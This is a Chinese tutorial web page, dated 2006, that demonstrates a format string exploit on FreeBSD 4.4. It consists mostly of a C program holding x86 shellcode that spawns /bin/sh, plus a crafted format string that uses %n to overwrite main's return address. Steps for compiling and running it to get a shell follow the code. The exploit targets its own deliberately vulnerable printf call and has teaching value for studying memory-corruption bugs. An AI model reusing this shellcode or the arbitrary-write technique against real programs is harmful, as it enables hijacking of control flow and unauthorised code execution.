格式化字符串,FreeBSD格式化字符串简单演示

FreeBSD格式化字符串简单演示 - 电脑技巧 - 电脑教程网

FreeBSD格式化字符串简单演示

日期:2006-06-03   荐:
/* simple example for printf ex on FreeBSD */
#include<stdio.h>
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
   %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff); //所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . . .
gcc printfex.c -o ex
./ex >/dev/null      #为了防止打印太多东西 从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 toUCh /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
         __ by watercloud __

(出处:http://www.sheup.com)




标签: